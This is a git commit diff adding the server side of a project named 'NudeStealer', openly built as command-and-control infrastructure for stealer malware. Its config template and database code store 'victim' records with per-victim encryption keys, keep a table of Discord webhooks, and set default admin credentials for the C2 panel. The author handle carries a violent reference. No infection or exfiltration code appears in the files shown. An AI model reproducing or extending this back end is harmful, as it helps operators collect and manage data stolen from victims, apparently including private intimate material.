Initial commit

This commit is contained in:
unknown
2026-05-14 00:42:39 +02:00
commit dae8a0a4a1
37 changed files with 1226 additions and 0 deletions

59
serverside/consts.py Normal file
View File

@@ -0,0 +1,59 @@
__projname__ = "NudeStealer Server"
__author__ = "0xschoolshooter"
__version__ = "1.0.0"
__title__ = f"{__projname__} v{__version__} ~ by {__author__}"
from pathlib import Path
from concurrent.futures import ThreadPoolExecutor
from .helpers.logger import setup_logger
from serverside.helpers.config import get
logger = setup_logger()
running_tasks = {}
executor = ThreadPoolExecutor(max_workers=2)
BASE_DIR = Path(__file__).resolve().parent.parent
LOG_FILE = BASE_DIR / get("paths", "log_file_name", fallback="nudestealer_log.log")
DATABASE_FILE = BASE_DIR / get("paths", "database_file_name", fallback="nudestealer.sqlite3")
CONFIG_TEMPLATE = """
[general]
app_name = NuDe Stealer
banner = /hbf mission / Operation
version = 1.0.0
# Only allows local connections, developer only debug features enabled
debug = false
[paths]
# you might as well change these if you want to keep things organized, but they can be left as is
log_file_name = nudestealer_log.log
database_file_name = nudestealer.sqlite3
# Folder where victim data will be stored after
# their UUID, last updated state (date), IP address/country & account username
# note, the data will be encrypted if use_ascon is enabled and the data in this folder not readable, only through the UI
vic_data_folder = vic_data
[network]
# host the http server will bind to, for public linux hosts 0.0.0.0 is recommended
host = 127.0.0.1
# port the http server will run on
port = 80
# whether to encrypt data before sending it via Ascon-AEAD128
# note, the data will be encrypted if this is enabled and the data in the vic data folder not readable, only through the UI
use_ascon = True
# ratelimits for 5 minutes after exceeding 60 requests / minute (60 seconds) from the same IP
ratelimit = True
# 0 for unlimited
max_concurrent_connections = 0
[administration]
# admin account username and password, change these before running the server for the first time
systemadmin_username = admin
systemadmin_password = nudestealer
# if you set this to true, you will also self-host an API server, that means your C2 is only online for as long as your device is online.
# well, perhaps you are interested in hosting the C2 on a different - secure network, so you should look into:
# https://git.fingeri.ng/dff/nude-stealer
self_host = True"""

View File

@@ -0,0 +1,72 @@
import os
import base64
import ascon
import hashlib
import secrets
from cryptography.hazmat.primitives.asymmetric import x25519
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
from cryptography.hazmat.primitives import hashes
from typing import Tuple
def ascon_key_generator() -> str:
key = os.urandom(16)
return key.hex()
def encrypt(key_hex: str, plaintext: str) -> str:
key = bytes.fromhex(key_hex)
nonce = os.urandom(16)
ad = b''
ciphertext = ascon.encrypt(key, nonce, ad, plaintext.encode(), variant="Ascon-AEAD128")
combined = nonce + ciphertext
data_b64 = base64.b64encode(combined).decode()
return data_b64
def decrypt(key_hex: str, data_b64: str) -> str:
key = bytes.fromhex(key_hex)
combined = base64.b64decode(data_b64)
nonce = combined[:16]
ciphertext = combined[16:]
plaintext = ascon.decrypt(key, nonce, b'', ciphertext, variant="Ascon-AEAD128")
return plaintext.decode()
def hash_password(password: str) -> str:
salt = secrets.token_hex(16)
hashed = hashlib.pbkdf2_hmac('sha256', password.encode(), salt.encode(), 100_000)
return f"{salt}${hashed.hex()}"
def check_password(password: str, stored: str) -> bool:
salt, hashed = stored.split('$')
new_hash = hashlib.pbkdf2_hmac('sha256', password.encode(), salt.encode(), 100_000)
return new_hash.hex() == hashed
def salt_randomizer() -> bytes:
return secrets.token_bytes(32)
def hkdf_sha256(salt: bytes, shared_secret_raw: str) -> str:
hkdf = HKDF(
algorithm=hashes.SHA256(),
length=32,
salt=salt,
info=b'',
)
key_material = hkdf.derive(shared_secret_raw)
return key_material
def compute_shared_secret(secret_key: bytes, public_key: bytes) -> bytes:
secret_key_bytes = x25519.X25519PrivateKey.from_private_bytes(secret_key)
public_key_bytes = x25519.X25519PublicKey.from_public_bytes(public_key)
shared_secret_raw = secret_key_bytes.exchange(public_key_bytes)
return shared_secret_raw
def generate_keypair() -> Tuple[x25519.X25519PrivateKey, x25519.X25519PublicKey]:
secret_key_bytes = x25519.X25519PrivateKey.generate()
public_key_bytes = secret_key_bytes.public_key()
return secret_key_bytes, public_key_bytes

133
serverside/database_s.py Normal file
View File

@@ -0,0 +1,133 @@
import sqlite3
import json
from datetime import datetime
from serverside.consts import DATABASE_FILE
from serverside.helpers.config import get
from serverside.cryptography import hash_password
def init_db():
DATABASE_CONNECTION = sqlite3.connect(DATABASE_FILE)
cursor = DATABASE_CONNECTION.cursor()
cursor.execute('''
CREATE TABLE IF NOT EXISTS vic_data (
vic_uuid TEXT PRIMARY KEY,
vic_account_name TEXT NOT NULL,
vic_recent_ascon_key_hex TEXT,
vic_previous_ascon_key_list TEXT, -- stored as JSON string
last_updated TEXT,
created_at TEXT DEFAULT (datetime('now'))
)
''')
cursor.execute('''
CREATE TABLE IF NOT EXISTS administration (
administrator_username TEXT PRIMARY KEY,
administrator_password_hash TEXT NOT NULL,
created_at TEXT DEFAULT (datetime('now'))
)
''')
cursor.execute('''
CREATE TABLE IF NOT EXISTS discord_webhooks (
id INTEGER PRIMARY KEY AUTOINCREMENT,
webhook_url TEXT NOT NULL,
created_at TEXT DEFAULT (datetime('now'))
)
''')
DATABASE_CONNECTION.commit()
insert_admin(DATABASE_CONNECTION, get("administration", "systemadmin_username", fallback="admin"), hash_password(get("administration", "systemadmin_password", fallback="nudestealer")))
DATABASE_CONNECTION.close()
def insert_vic(DATABASE_CONNECTION, vic_uuid, vic_account_name, recent_key, previous_keys=None):
if previous_keys is None:
previous_keys = []
cursor = DATABASE_CONNECTION.cursor()
cursor.execute('''
INSERT INTO vic_data (vic_uuid, vic_account_name, vic_recent_ascon_key_hex, vic_previous_ascon_key_list, last_updated)
VALUES (?, ?, ?, ?, ?)
''', (vic_uuid, vic_account_name, recent_key, json.dumps(previous_keys), datetime.now(datetime.timezone.utc).isoformat()))
DATABASE_CONNECTION.commit()
def get_vic(DATABASE_CONNECTION, vic_uuid):
cursor = DATABASE_CONNECTION.cursor()
cursor.execute('SELECT * FROM vic_data WHERE vic_uuid = ?', (vic_uuid,))
row = cursor.fetchone()
if row:
vic_data = dict(zip([column[0] for column in cursor.description], row))
vic_data['vic_previous_ascon_key_list'] = json.loads(vic_data['vic_previous_ascon_key_list'])
return vic_data
return None
def insert_admin(DATABASE_CONNECTION, username, password_hash):
cursor = DATABASE_CONNECTION.cursor()
cursor.execute('''
INSERT INTO administration (administrator_username, administrator_password_hash)
VALUES (?, ?)
''', (username, password_hash))
DATABASE_CONNECTION.commit()
def get_admin(DATABASE_CONNECTION, username):
cursor = DATABASE_CONNECTION.cursor()
cursor.execute('SELECT * FROM administration WHERE administrator_username = ?', (username,))
row = cursor.fetchone()
if row:
return dict(zip([column[0] for column in cursor.description], row))
return None
def update_vic_key(DATABASE_CONNECTION, vic_uuid, new_key):
cursor = DATABASE_CONNECTION.cursor()
vic = get_vic(DATABASE_CONNECTION, vic_uuid)
if vic:
previous_keys = vic['vic_previous_ascon_key_list']
recent_key = vic['vic_recent_ascon_key_hex']
if recent_key:
previous_keys.append(recent_key)
cursor.execute('''
UPDATE vic_data
SET vic_recent_ascon_key_hex = ?, vic_previous_ascon_key_list = ?, last_updated = ?
WHERE vic_uuid = ?
''', (new_key, json.dumps(previous_keys), datetime.utcnow().isoformat(), vic_uuid))
DATABASE_CONNECTION.commit()
def update_admin_password(DATABASE_CONNECTION, username, new_password_hash):
cursor = DATABASE_CONNECTION.cursor()
cursor.execute('''
UPDATE administration
SET administrator_password_hash = ?
WHERE administrator_username = ?
''', (new_password_hash, username))
DATABASE_CONNECTION.commit()
def delete_vic(DATABASE_CONNECTION, vic_uuid):
cursor = DATABASE_CONNECTION.cursor()
cursor.execute('DELETE FROM vic_data WHERE vic_uuid = ?', (vic_uuid,))
DATABASE_CONNECTION.commit()
def delete_admin(DATABASE_CONNECTION, username):
cursor = DATABASE_CONNECTION.cursor()
cursor.execute('DELETE FROM administration WHERE administrator_username = ?', (username,))
DATABASE_CONNECTION.commit()
def insert_webhook(DATABASE_CONNECTION, webhook_url):
cursor = DATABASE_CONNECTION.cursor()
cursor.execute('''
INSERT INTO discord_webhooks (webhook_url)
VALUES (?)
''', (webhook_url,))
DATABASE_CONNECTION.commit()
def delete_webhook(DATABASE_CONNECTION, webhook_id):
cursor = DATABASE_CONNECTION.cursor()
cursor.execute('DELETE FROM discord_webhooks WHERE id = ?', (webhook_id,))
DATABASE_CONNECTION.commit()
def get_all_webhooks(DATABASE_CONNECTION) -> list[dict]:
cursor = DATABASE_CONNECTION.cursor()
cursor.execute('SELECT * FROM discord_webhooks')
rows = cursor.fetchall()
webhooks = [dict(zip([column[0] for column in cursor.description], row)) for row in rows]
return webhooks

View File

@@ -0,0 +1,42 @@
import configparser
from pathlib import Path
#from serverside.consts import BASE_DIR
BASE_DIR = Path(__file__).resolve().parent.parent.parent
CONFIG_PATH = BASE_DIR / "configuration.ini"
_config = configparser.ConfigParser()
_config.read(CONFIG_PATH)
def get(section: str, key: str, fallback=None):
try:
return _config.get(section, key)
except (configparser.NoSectionError, configparser.NoOptionError):
return fallback
def get_int(section: str, key: str, fallback=None):
try:
return _config.getint(section, key)
except (configparser.NoSectionError, configparser.NoOptionError, ValueError):
return fallback
def get_float(section: str, key: str, fallback=None):
try:
return _config.getfloat(section, key)
except (configparser.NoSectionError, configparser.NoOptionError, ValueError):
return fallback
def get_bool(section: str, key: str, fallback=None):
try:
return _config.getboolean(section, key)
except (configparser.NoSectionError, configparser.NoOptionError, ValueError):
return fallback
def sections():
return _config.sections()
def options(section: str):
try:
return _config.options(section)
except configparser.NoSectionError:
return []

View File

@@ -0,0 +1,25 @@
import logging
from pathlib import Path
from serverside.helpers.config import get
#from serverside.consts import LOG_FILE
BASE_DIR = Path(__file__).resolve().parent.parent.parent
LOG_FILE = BASE_DIR / get("paths", "log_file_name", fallback="nudestealer_log.log")
def setup_logger(name: str = "nudestealer") -> logging.Logger:
logger = logging.getLogger(name)
logger.setLevel(logging.DEBUG)
if not logger.handlers:
file_handler = logging.FileHandler(LOG_FILE, encoding="utf-8")
file_handler.setLevel(logging.DEBUG)
formatter = logging.Formatter(
'%(asctime)s - %(name)s - %(levelname)s - %(filename)s:%(lineno)d - %(message)s'
)
file_handler.setFormatter(formatter)
logger.addHandler(file_handler)
logger.propagate = False
return logger

View File

@@ -0,0 +1,33 @@
import time
from starlette.middleware.base import BaseHTTPMiddleware
from starlette.responses import JSONResponse
LIMIT = 60
WINDOW = 60
BLOCK_TIME = 5*60
ip_store = {}
class RateLimitMiddleware(BaseHTTPMiddleware):
async def dispatch(self, request, call_next):
ip = request.client.host
now = time.time()
entry = ip_store.get(ip, {"count": 0, "first_request": now, "blocked_until": None})
if entry["blocked_until"] and now < entry["blocked_until"]:
return JSONResponse({"error": "Too many requests. Try again later."}, status_code=429)
if now - entry["first_request"] > WINDOW:
entry["count"] = 0
entry["first_request"] = now
entry["count"] += 1
if entry["count"] > LIMIT:
entry["blocked_until"] = now + BLOCK_TIME
ip_store[ip] = entry
return JSONResponse({"error": "Rate limit exceeded. Blocked for 5 minutes."}, status_code=429)
ip_store[ip] = entry
response = await call_next(request)
return response

28
serverside/http_s.py Normal file
View File

@@ -0,0 +1,28 @@
from uvicorn import Config, Server
from starlette.applications import Starlette
from starlette.routing import Route
from serverside.helpers.config import get
from serverside.helpers.middleware import RateLimitMiddleware
from serverside.routes.version import version
async def start_server():
app = Starlette(debug=get("general", "debug", fallback=False),
routes=[
Route("/version", version),
Route("/api/version", version),
Route("/api/v1/version", version),
Route("/get_version", version)
]
)
app.add_middleware(RateLimitMiddleware)
config = Config(
app=app,
host=get("network", "host", fallback="127.0.0.1"),
port=int(get("network", "port", fallback=56000)),
log_level="debug" if get("general", "debug", fallback=False) else "info",
)
server = Server(config)
await server.serve()

View File

@@ -0,0 +1,5 @@
from starlette.responses import JSONResponse
from serverside.helpers.config import get
async def version(request):
return JSONResponse({"api_version": get("general", "version", fallback="1.0.0")})

32
serverside/util_s.py Normal file
View File

@@ -0,0 +1,32 @@
import asyncio
from serverside.consts import logger, executor, running_tasks
async def run_in_thread(name, func, *args, **kwargs):
loop = asyncio.get_event_loop()
try:
await loop.run_in_executor(executor, func, *args, **kwargs)
except asyncio.CancelledError:
logger.info(f"{name} task cancelled.")
raise
except Exception as e:
logger.error(f"Error in {name}: {e}")
async def stop_task(name):
task = running_tasks.get(name)
if task:
task.cancel()
try:
await task
except asyncio.CancelledError:
logger.info(f"{name} task stopped.")
running_tasks.pop(name, None)
except Exception as e:
logger.error(f"Error stopping {name} task: {e}")
async def stop_all():
logger.info("Stopping all services...")
for _, task in running_tasks.items():
task.cancel()
await asyncio.gather(*running_tasks.values(), return_exceptions=True)
running_tasks.clear()
logger.info("All services stopped.")

View File